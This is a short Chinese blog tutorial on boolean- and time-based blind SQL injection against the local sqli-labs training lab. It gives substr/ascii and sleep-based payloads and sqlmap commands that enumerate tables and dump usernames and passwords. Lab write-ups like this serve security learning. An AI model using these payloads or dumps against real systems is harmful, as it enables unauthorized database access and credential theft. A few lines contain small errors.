在上一博客 其实就已经讲到了 sql
但是上一节 主要是有回显 页面中 会有很多 提示的信息 但是在实战中 这些东西 其实都不怎么存在的 这里 其实又分了 两种情况
第一种 是基于 布尔 第二种 就是 基于时间的 盲注
这两种 其实 都比较 简单 先说 基于 布尔的吧
基于布尔的盲注 :
其实这个很好理解 页面只会返回 0或1 我们可以 根据 页面是否 404 就可以判断 是否正确
然后我们可以利用的函数 有 mid(striing,start,length) substr(string,start,length) left(string,length)
然后 我们可以 正确性 来验证 库的长度
然后可以用 二分法 来 猜测 库的名字 表的名字 字段的名字
然后可以 找到 最后的 用户名 还有密码 基本上可以用
select length(database())
select substr (database())
select ascii(substr(database(),1,1))
select ascii(substr(database(),1,1))>N
select ascii(substr(database(),1,1))<N
select ascii(substr(database(),1,1))=N
如果要是 查找第二位 就是 第二位换成 2即可
基于时间的盲注 则是 页面 0 1 也不会返回
这个就是比较尴尬的一点 我们也不知道 我们是否注入成功了 那么 就可以 用一个函数
sleep 用if 来判断
例如
if(ascii(substr(database(),1,1))=N,1,sleep(3))
这个语句的意思就是 当数据库名 第一个字母的ascii码 等于115 执行一次 sleep 函数 等待三秒
这个 这个就和 布尔型注入差不多 人家是 看页面返回 0 或 1 来判断是否注入成功
而 基于时间的盲注 就是 根据 等待的时间 来判断
然后 就是靠二分法 一步一步的来猜 或者 用mysql 直接跑 这个也是可以的
虽然 可能跑的会非常慢
这里是查询数据库 名字
py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" --technique T --dbs --batch
查询表项
py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security --tables --batch
然后这里是 查询字段
py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users --columns --batch
然后就是 查询
py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users -C username,password --dump --batch